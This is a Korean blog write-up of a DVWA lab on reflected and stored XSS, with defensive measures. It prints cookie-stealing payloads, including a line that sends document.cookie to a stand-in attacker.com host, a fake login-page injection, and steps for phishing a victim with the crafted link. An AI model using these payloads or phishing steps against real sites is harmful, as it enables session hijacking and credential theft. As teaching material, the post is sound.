1. Reflected XSS란?
Reflected XSS (Reflected Cross-Site Scripting)는 웹 애플리케이션에서 사용자가 입력한 데이터를 서버가 제대로 검증하지 않고 바로 반영하는 보안 취약점이다. 공격자는 악성 스크립트를 삽입해 피해자의 브라우저에서 실행시킬 수 있다. 이 공격은 즉시 반영되는 공격이기 때문에 "Reflected"라는 이름이 붙었다.
쿠키 탈취, 피싱 공격, 악성 스크립트 실행 등을 유발할 수 있어 매우 위험하다. 이를 방지하려면 입력 검증과 출력 인코딩이 필수적이다.
작동 원리
Reflected XSS는 주로 URL 파라미터를 통해 악성 코드를 전달하고, 서버는 이를 필터링 없이 그대로 출력한다. 그러면 공격자가 삽입한 스크립트가 피해자의 브라우저에서 실행된다.
2. 실습 과정
- Reflected XSS 페이지 접속
- XSS (Reflected) 페이지에 들어가면 "What’s your name?"이라는 입력란이 나온다.
- 여기에 이름을 입력하고 Submit을 누르면, 페이지에 "Hello [입력한 이름]"이 출력된다.
- 악성 스크립트 삽입
- 입력란에 다음과 같은 XSS 스크립트를 삽입한다:
- <script>alert('your cookies: ' + document.cookie)</script>
- Submit을 누르면 피해자의 쿠키 정보가 알림창으로 표시된다.
- 악성 링크 생성 및 이메일 발송
- 쿠키 정보가 포함된 URL을 복사하여, 메일에 포함시킨다.
- 예를 들어, 링크는 다음과 같다:
-
http://192.168.174.131/dvwa/vulnerabilities/xss/?name=<script>alert('your cookies: ' + document.cookie)</script>
- 이 링크를 긴급 메일인 척 보내서 피해자가 클릭하도록 유도한다.
- 피해자 링크 클릭 후 쿠키 정보 확인
- 피해자가 해당 링크를 클릭하면, 알림창이 뜨고 쿠키 정보가 나타난다.
- 이 스크립트는 쿠키 정보를 탈취할 수 있으며, 다른 악성 스크립트를 삽입하여 피싱이나 세션 하이재킹 등 다양한 공격을 할 수 있다.
- 이 스크립트는 피해자에게 가짜 로그인 페이지를 보여주어 피싱 공격을 할 수 있다.
- <script>
document.body.innerHTML = '<h1>Your session is expired. Please <a href="http://malicious-site.com">login</a></h1>';
</script>
- 피해자가 해당 링크를 클릭하면, 알림창이 뜨고 쿠키 정보가 나타난다.
3. 해당 실습 시나리오.
1. 피해자에게 악성 링크를 전송
- 공격자는 Reflected XSS 취약점이 있는 웹 애플리케이션에서 악성 스크립트를 삽입한다.
- 공격자는 이를 피해자에게 이메일로 보냅니다. 이 이메일은 긴급한 보안 경고인 척 위장하여 피해자가 클릭하게 유도한다.
2. 피해자가 이메일을 통해 악성 링크 클릭
- 피해자는 이메일에 포함된 악성 링크를 클릭한다.
- 링크는 Reflected XSS가 실행되는 페이지로 연결되며, 브라우저에서 스크립트가 실행된다.
- 예:
http://victim.com/vulnerabilities/xss/?name=<script>alert(document.cookie)</script>
3. 공격자 서버로 쿠키 전송
- 피해자의 브라우저에서 XSS 스크립트가 실행되면, 쿠키 정보가 공격자 서버로 전송된다.
- 예를 들어, document.cookie 값을 Image() 객체를 사용해 공격자 서버로 보내는 방식이다:
- 이 요청은 공격자가 설정한 서버로 쿠키를 전송하는 방식이다.
- <script>
new Image().src="http://attacker.com/log?cookie=" + document.cookie;
</script>
4. 공격자가 쿠키 수집
- 공격자 서버는 피해자 쿠키를 수신하고 이를 로그로 기록한다.
- 예시 로그:
"GET /log?cookie=PHPSESSID=abcd1234; security=low HTTP/1.1"
- 예시 로그:
5. 공격자 서버에서 쿠키 사용
- 공격자는 세션 하이재킹 등 다른 공격을 위해 이 쿠키 값을 사용할 수 있다.
- 피해자의 세션 쿠키를 얻은 후, 피해자처럼 로그인하거나 중요한 정보를 탈취할 수 있다.
시나리오 요약
- 공격자는 악성 링크를 이메일로 피해자에게 보냄.
- 피해자는 이메일 링크를 클릭하여 XSS가 실행되는 페이지에 접속.
- XSS 스크립트가 실행되어 피해자의 쿠키 정보가 공격자 서버로 전송됨.
- 공격자는 이 쿠키를 사용해 피해자의 세션을 하이재킹하거나, 피싱 공격을 할 수 있음.
4. Reflected XSS 대응 방안
1. 사용자 입력 검증 (Input Validation)
사용자가 입력하는 모든 데이터는 신뢰할 수 없기 때문에, 이를 서버로 전송하기 전에 검증해야 한다.
- 유효성 검사: 입력값이 예상되는 형식(숫자, 알파벳 등)인지 확인하고, 예상 외의 입력값은 거부한다.
- 길이 제한: 입력 가능한 문자열의 길이를 제한하여 악의적인 긴 스크립트 삽입을 방지한다.
2. 출력 인코딩 (Output Encoding)
사용자가 입력한 데이터를 HTML, JavaScript, CSS 등의 컨텍스트에 안전하게 출력하려면 출력 인코딩이 필수적이다.
- HTML 인코딩: <, >, &, ", ' 등의 문자는 HTML 엔티티로 변환하여 웹 페이지에서 스크립트 실행을 방지한다.
- 예시: <script> → <script>
- JavaScript 인코딩: JavaScript 내에서 사용자 입력값을 안전하게 사용할 수 있도록 특수 문자를 인코딩한다.
- 예시: document.write("<script>alert('XSS')</script>") → document.write("<script>alert('XSS')</script>")
3. HTTP 보안 헤더 설정
웹 서버에서 HTTP 보안 헤더를 설정하여 스크립트 실행을 제한할 수 있다.
- Content Security Policy (CSP): CSP를 설정하여 허용된 출처에서만 스크립트를 로드하고, 외부 스크립트의 실행을 방지할 수 있다.
- 예시:
-
Content-Security-Policy: script-src 'self'
- X-XSS-Protection: 이 헤더를 활성화하여 브라우저에서 XSS 공격을 탐지하고 이를 차단할 수 있다.
- 예시:
-
X-XSS-Protection: 1; mode=block
4. 쿠키 보안 설정
쿠키를 사용할 때 보안 설정을 통해 세션 탈취를 방지할 수 있다.
- HttpOnly: 쿠키에 HttpOnly 속성을 설정하면, JavaScript에서 쿠키를 읽지 못하게 할 수 있다.
- 예시: Set-Cookie: PHPSESSID=12345; HttpOnly
- Secure: Secure 속성을 설정하면, HTTPS 연결에서만 쿠키가 전송된다.
- 예시: Set-Cookie: PHPSESSID=12345; Secure; HttpOnly
5. 잘못된 URL 처리 방지
사용자가 URL에 악성 스크립트를 삽입할 수 없도록 URL 파라미터 처리에 주의해야 한다.
- 리디렉션 방지: 사용자가 입력한 값이 리디렉션 URL로 처리되지 않도록, URL에 입력값 검증을 한다.
- GET/POST 요청 처리: GET 요청으로 전송된 파라미터 값을 직접적으로 HTML에 삽입하지 않도록 한다. 필요한 경우 서버 측에서 검증 후 출력한다.
6. 보안 라이브러리 및 프레임워크 사용
보안 기능이 내장된 프레임워크를 사용하여 XSS 공격에 대한 방어를 더욱 효과적으로 할 수 있다.
- OWASP ESAPI: 다양한 보안 취약점에 대한 방어 기능을 제공하는 라이브러리다.
- Angular, React, Vue.js 등의 현대적인 웹 프레임워크는 자동으로 출력 인코딩을 처리하여 XSS 공격을 방지한다.
✅ Reflected XSS 대응 방안 요약
대응 방안 | 설명 |
사용자 입력 검증 | 모든 사용자 입력을 검증하고 유효하지 않은 데이터는 거부 |
출력 인코딩 | HTML, JavaScript, CSS에서 안전하게 출력되도록 인코딩 |
HTTP 보안 헤더 설정 | CSP, X-XSS-Protection 등 보안 헤더를 사용하여 스크립트 실행 제한 |
쿠키 보안 설정 | 쿠키에 HttpOnly, Secure 속성 설정하여 세션 탈취 방지 |
잘못된 URL 처리 방지 | 악성 스크립트 삽입을 막기 위해 URL 파라미터에 검증 추가 |
보안 프레임워크 사용 | 보안 기능이 내장된 라이브러리 및 프레임워크 사용 |
1. Stored XSS란?
Stored XSS (Stored Cross-Site Scripting)는 사용자가 입력한 악성 스크립트가 서버에 저장되고, 다른 사용자들이 그 저장된 스크립트를 실행하게 만드는 공격이다. 이는 Reflected XSS와 달리, 공격자가 입력한 악성 코드를 서버에 영구적으로 저장하고, 이후 페이지가 로드될 때마다 그 코드가 자동으로 실행되는 방식이다. 쿠키 탈취, 피싱 공격, 악성 스크립트 실행 등을 유발할 수 있어 매우 위험하다.
작동 원리
- 사용자가 악성 스크립트를 입력:
- 예를 들어, 게시판이나 사용자 프로필 수정란에서 사용자가 자바스크립트 코드를 입력한다.
- 서버에 악성 스크립트 저장:
- 서버는 이 입력값을 검증 없이 저장합니다. 이 저장된 데이터는 다른 사용자에게도 보여질 수 있다.
- 다른 사용자가 해당 페이지를 로드:
- 악성 스크립트가 HTML로 출력되어, 브라우저에서 실행됩니다. 이 과정에서 공격자는 피해자의 쿠키, 세션 정보, 사용자 입력 등을 탈취할 수 있다.
Stored XSS와 Reflected XSS의 차이
- Stored XSS: 공격자가 악성 코드를 서버에 저장하고, 그 후 다른 사용자가 이 악성 코드를 실행하게 만든다.
- Reflected XSS: 공격자가 URL을 통해 악성 코드를 전달하고, 피해자가 해당 URL을 클릭할 때 공격이 실행된다. 저장되지 않음.
2. 실습
1. Stored XSS 페이지 접속
- Stored XSS 취약점이 있는 Sign Guestbook 페이지에 들어갑니다. 이 페이지에서 사용자는 메시지를 입력하고 이를 서버에 저장할 수 있다.
- "Sign Guestbook" 버튼을 눌러 메시지를 입력한다.
2. 악성 스크립트 삽입
- 메시지 입력란에 아래와 같은 악성 스크립트를 삽입한다:
- <script>alert('Stored XSS')</script>
- Submit을 누르면, alert('Stored XSS') 실행되어 알림창이 표시됩니다. 이는 Stored XSS 공격이 성공했음을 의미한다.
3. 다시 페이지를 로드하여 XSS 확인
- 다른 페이지로 이동한 후, 다시 Stored XSS 페이지로 돌아가면:
- 페이지가 새로 로드될 때, 저장된 메시지가 출력되면서 알림창이 다시 뜬다.
- 이 과정에서 악성 스크립트가 서버에 저장되어 페이지를 로드할 때마다 실행된다.
- 이 알림창을 통해 스크립트가 서버에 저장되어 실행되는 것을 확인할 수 있다.
4. Name 칸에도 스크립트 삽입 시도
- Name 입력란에 악성 스크립트를 삽입해보려고 한다. 하지만 이 칸에는 입력할 수 있는 글자수에 제한이 있는 것 같다.
5. 입력 제한 확인 및 개발자 도구 사용
- 개발자 도구를 열고 HTML 코드를 확인해보면, maxlength="10" 속성이 보입니다. 즉, Name 칸에는 최대 10글자만 입력할 수 있게 제한되어 있다.
- <input type="text" name="name" maxlength="10">
6. 입력 제한 우회
- maxlength="10" 속성 값을 1000으로 변경하여 글자 수 제한을 우회할 수 있다.
- 개발자 도구에서 해당 maxlength="10" 값을 1000으로 수정한다다.
7. Name 칸에 스크립트 삽입 시도
- 이제 Name 칸에 길이가 긴 스크립트를 입력할 수 있다.
- 메시지 입력란과 마찬가지로, Name 칸에도 악성 스크립트를 삽입하고 Submit을 클릭하면, XSS 공격이 실행되는 것을 확인할 수 있다.
3. 해당 실습 시나리오
1. Stored XSS 페이지 접속
- Stored XSS 취약점이 있는 "Sign Guestbook" 페이지에 접속한다다.
- 이 페이지는 사용자가 메시지를 입력하고 이를 서버에 저장할 수 있는 기능을 제공하는 페이지이다.
- "Sign Guestbook" 버튼을 클릭하면 사용자가 입력한 정보가 서버에 저장된다.
2. 악성 스크립트 삽입
- 메시지 입력란에 악성 스크립트를 삽입한다.
- <script>alert('Stored XSS')</script>
- Submit 버튼을 클릭하면 해당 메시지가 서버에 저장되고, Stored XSS라는 알림창이 표시된다.
3. 페이지 리로드 후 악성 스크립트 실행
- 다른 페이지로 이동한 후, 다시 Stored XSS 페이지로 돌아간다.
- 페이지가 새로 로드될 때, 저장된 메시지가 출력되면서 저장된 스크립트가 자동으로 실행된다.
- 알림창이 다시 뜨는 것을 확인할 수 있다. 이 과정은 서버에 악성 스크립트가 저장되어 다른 사용자가 페이지를 로드할 때마다 실행된다는 것을 보여준다.
4. Name 입력란에서도 악성 스크립트 실행 시도
- Name 입력란에도 악성 스크립트를 삽입하려고 시도한다. 하지만 글자 수 제한이 있어 10글자까지만 입력할 수 있다.
5. 개발자 도구로 글자 수 제한 확인
- 개발자 도구를 열고 HTML 코드를 확인해보면, maxlength="10" 속성이 보인다. 즉, Name 입력란에 최대 10글자까지만 입력할 수 있다.
- <input type="text" name="name" maxlength="10">
6. 글자 수 제한 우회
- 개발자 도구에서 maxlength="10" 속성을 1000으로 변경하여 입력 제한을 우회할 수 있다.
- 이제 Name 입력란에 길이가 긴 스크립트를 입력할 수 있으며, Submit을 클릭하면 XSS 공격이 실행된다.
4. Stored XSS 대응 방안
1. 입력값 검증 (Input Validation)
입력값 검증은 사용자가 입력한 데이터를 서버가 올바르게 처리하도록 도와주는 중요한 보안 기법이다. 이 방법을 통해 악성 스크립트가 서버로 전달되는 것을 방지할 수 있다.
- 허용된 값만 받기: 사용자가 입력하는 값은 예상되는 형식으로 제한하고, 예상 외의 입력값은 거부한다.
- 예를 들어, 숫자만 허용되는 필드에 문자가 입력되지 않도록 제한한다.
- 이메일 주소 형식, 전화번호 형식 등을 엄격하게 검사한다.
- 입력 길이 제한: 악성 스크립트가 지나치게 길어지는 것을 방지하기 위해, 입력값의 길이를 제한한다.
- 예: 메시지 길이 제한을 두거나 이름 필드에 글자 수를 제한하는 등의 조치.
2. 출력 인코딩 (Output Encoding)
출력 인코딩은 웹 애플리케이션에서 사용자가 입력한 데이터를 HTML, JavaScript, CSS 등의 컨텍스트에서 안전하게 출력할 수 있도록 변환하는 작업이다.
- HTML 인코딩: <, >, &, ", ' 등의 특수 문자를 HTML 엔티티로 변환하여, 브라우저에서 스크립트 실행을 방지한다.
- 예시: <script> → <script>
- JavaScript 인코딩: 사용자 입력값이 JavaScript 컨텍스트에서 사용될 때, 특수 문자를 인코딩하여 스크립트 실행을 방자한다.
- 예시: document.write("<script>alert('XSS')</script>") → document.write("<script>alert('XSS')</script>")
- CSS 인코딩: CSS 내에서도 사용자가 입력한 값을 출력할 때, CSS 특수 문자를 인코딩하여 악성 스타일이 적용되지 않도록 해야 한다.
3. HTTP 보안 헤더 설정
HTTP 보안 헤더를 설정하여 XSS 공격을 예방할 수 있습니다. 보안 헤더는 브라우저가 악성 스크립트를 차단하는 데 도움을 준다.
- Content Security Policy (CSP): CSP는 브라우저가 스크립트의 출처를 제한하도록 강제하는 보안 기능이다. 이를 통해 외부 스크립트나 서버에 저장된 악성 스크립트를 차단할 수 있다.
- 예시:
- Content-Security-Policy: script-src 'self'
- 이 설정은 자체 도메인에서만 스크립트를 로드하도록 제한하여, 외부 악성 스크립트의 실행을 차단한다.
- X-XSS-Protection: 이 헤더는 브라우저가 XSS 공격을 감지하고 차단하도록 도와준다.
- 예시:
- X-XSS-Protection: 1; mode=block
- 이 설정은 브라우저에서 XSS 공격을 감지하면, 해당 페이지를 차단하도록 한다.
4. 쿠키 보안 설정
쿠키 보안 설정을 통해 세션 탈취를 방지할 수 있다. XSS 공격을 통해 세션 쿠키가 탈취되는 경우가 많으므로, 이를 보호하는 설정이 필요하다.
- HttpOnly: 쿠키에 HttpOnly 속성을 설정하면, 자바스크립트에서 쿠키를 읽을 수 없게 된다. 이를 통해 XSS 공격자가 쿠키 값을 탈취할 수 없다.
- 예시: Set-Cookie: PHPSESSID=12345; HttpOnly
- Secure: Secure 속성을 설정하면, HTTPS 연결에서만 쿠키가 전송된다. 이를 통해 중간자 공격을 방지할 수 있다.
- 예시: Set-Cookie: PHPSESSID=12345; Secure; HttpOnly
5. URL 파라미터 처리
사용자가 URL 파라미터로 악성 스크립트를 삽입하는 경우가 많으므로, 이를 안전하게 처리하는 방법이 필요하다.
- URL 인코딩: URL 내에 특수 문자가 포함되지 않도록, URL 인코딩을 사용하여 안전하게 데이터를 처리해야 한다.
- 예시:
<script>alert('XSS')</script> → %3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
- 예시:
- 파라미터 검증: 서버에서 URL 파라미터가 안전한지 확인하고, 예상되는 형식의 데이터만을 처리하도록 검증한다.
6. 보안 라이브러리 사용
- OWASP ESAPI: 다양한 보안 취약점에 대한 방어 기능을 제공하는 라이브러리다.
- React, Angular, Vue.js 등 현대적인 웹 프레임워크는 자동으로 출력 인코딩을 처리하여 XSS 공격을 방지한다.
Stored XSS 대응 방안 요약
대응 방안 | 설명 |
입력값 검증 | 모든 사용자 입력을 검증하고 유효하지 않은 데이터는 거부 |
출력 인코딩 | HTML, JavaScript, CSS에서 안전하게 출력되도록 인코딩 |
HTTP 보안 헤더 설정 | CSP, X-XSS-Protection 등 보안 헤더를 사용하여 스크립트 실행 제한 |
쿠키 보안 설정 | 쿠키에 HttpOnly, Secure 속성 설정하여 세션 탈취 방지 |
URL 파라미터 처리 | URL에 입력값 검증 및 인코딩을 통해 악성 스크립트 삽입 방지 |
보안 라이브러리 사용 | 보안 기능이 내장된 라이브러리 및 프레임워크 사용 |
'Security > CERT' 카테고리의 다른 글
웹 모의해킹 실습(Weak Session IDs & DOM Based XSS) (0) | 2025.06.27 |
---|---|
웹 모의해킹 실습(SQL Injecion & Blind SQL injection) (2) | 2025.06.13 |
웹 모의해킹 실습(File upload & Insecure CAPCHA) (0) | 2025.06.06 |
웹 모의해킹 실습(CSRF & File Inclusion) (0) | 2025.05.31 |
웹 모의해킹 실습(Command Injection & Brute Force) (0) | 2025.05.24 |